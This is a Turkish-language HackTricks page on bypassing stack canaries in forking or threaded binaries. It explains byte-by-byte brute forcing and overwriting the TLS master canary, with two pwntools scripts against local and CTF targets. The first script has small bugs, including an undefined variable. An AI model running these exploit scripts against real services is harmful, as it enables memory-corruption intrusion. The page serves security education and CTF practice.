BF Forked & Threaded Stack Canaries

AWS Hacking öğrenin ve uygulayın: HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking öğrenin ve uygulayın: HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• Abonelik planlarını kontrol edin!

• 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**

• Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.

checksec'in, bir ikilinin bir canary ile korunduğunu bulamayabileceğini unutmayın, bu durum statik olarak derlenmişse ve işlevi tanımlayamıyorsa. Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz.

Brute force Canary

Basit bir canary'yi atlatmanın en iyi yolu, ikilinin bir program olduğu durumdur her yeni bağlantı kurduğunuzda çocuk işlemleri çatallandırır (ağ hizmeti), çünkü her bağlandığınızda aynı canary kullanılacaktır.

Bu durumda, canary'yi atlatmanın en iyi yolu, canary'yi her karakteri karakter karakterine zorlamaktır, ve tahmin edilen canary baytının doğru olup olmadığını anlayabilir ve programın çöktüğünü veya düzenli akışını sürdürdüğünü kontrol ederek. Bu örnekte fonksiyon 8 Bayt canary (x64)'yi zorlar ve doğru tahmin edilen baytı yanlış bayttan ayırt eder sunucu tarafından bir yanıt gönderilip gönderilmediğini kontrol ederek (diğer durumlarda başka bir yol, bir try/except kullanmak olabilir):

Örnek 1

Bu örnek 64 bit için uygulanmıştır ancak 32 bit için kolayca uygulanabilir.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Örnek 2

Bu 32 bit için uygulanmıştır, ancak kolayca 64 bit'e değiştirilebilir. Ayrıca bu örnekte programın önce girişin boyutunu belirten bir baytı ve ardından yükü beklediğine dikkat edin.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

İş Parçacıkları

Aynı işlemdeki iş parçacıkları aynı canary belirtecini de paylaşacaklarından, bu nedenle bir saldırı gerçekleştiğinde ikili her seferinde yeni bir iş parçacığı oluşturan bir ikili varsa bir canary'yi kaba kuvvet yöntemiyle bulmak mümkün olacaktır.

Ayrıca, bir canary ile korunan bir iş parçacığında bir tampon taşması, TLS'de depolanan ana canary'yi değiştirmek için kullanılabilir. Bu, bir iş parçacığının yığınındaki bir **taşma aracılığıyla TLS'nin depolandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür. Sonuç olarak, önlem işe yaramaz çünkü kontrol, iki aynı olan (ancak değiştirilmiş) iki canary ile yapılır. Bu saldırı, şu yazıda gerçekleştirilir: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Ayrıca, genellikle TLS'nin mmap tarafından depolandığını ve bir iş parçacığının yığınının oluşturulduğunda da buna göre mmap tarafından oluşturulduğunu belirten https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 sunumuna da bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.

Diğer örnekler ve referanslar

• https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html

• 64 bit, PIE olmadan, nx, BF canary, bazı belleğe execve'yi çağırmak için bir ROP yaz ve oraya atla.